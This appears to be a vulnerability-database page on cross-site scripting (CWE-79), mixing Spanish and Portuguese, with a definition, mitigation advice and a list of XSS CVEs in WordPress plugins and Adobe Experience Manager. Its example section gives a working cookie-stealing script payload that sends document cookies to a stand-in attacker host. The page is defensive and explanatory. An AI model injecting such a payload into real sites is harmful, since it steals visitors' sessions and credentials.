Fallos del tipo CWE-79

30.188 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-46886MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2023-51674MEDIUMWordPress Advanced Access Manager Plugin <= 6.9.18 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-47072MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-51870MEDIUMWordPress Ultimate Flipbox Addon for Elementor plugin <= 1.0.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46904MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-51865MEDIUMWordPress Simple Social Share Block plugin <= 1.0.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51874MEDIUMWordPress ParOne Feeds plugin <= 1.17.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51872MEDIUMWordPress Luzuk Testimonials plugin <= 0.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22337HIGHWordPress Order Audit Log for WooCommerce plugin <= 2.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-2953MEDIUMLuckyWP Table of Contents <= 2.1.4 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-73731MEDIUMUnauthenticated Reflected Cross-Site Scripting (XSS) Vulnerability in HPE Networking Fabric Composer Web-Based Management InterfaceEPSS 0.3%CVE-2024-51921MEDIUMWordPress scrollup plugin <= 1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23620HIGHWordPress Captchelfie – Captcha by Selfie plugin <= 1.0.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-24865MEDIUMWordPress Scroll Triggered Box Plugin <= 2.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-46942MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-51918MEDIUMWordPress Pay With Stripe plugin <= 1.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51883MEDIUMWordPress I Plant A Tree plugin <= 1.7.4 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-26994HIGHWordPress Zigaform – Price Calculator & Cost Estimation Form Builder Lite plugin <= 7.4.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23699HIGHWordPress Event Countdown Timer Plugin by TechMix plugin <= 1.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51866MEDIUMWordPress Social button plugin <= 1.3 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%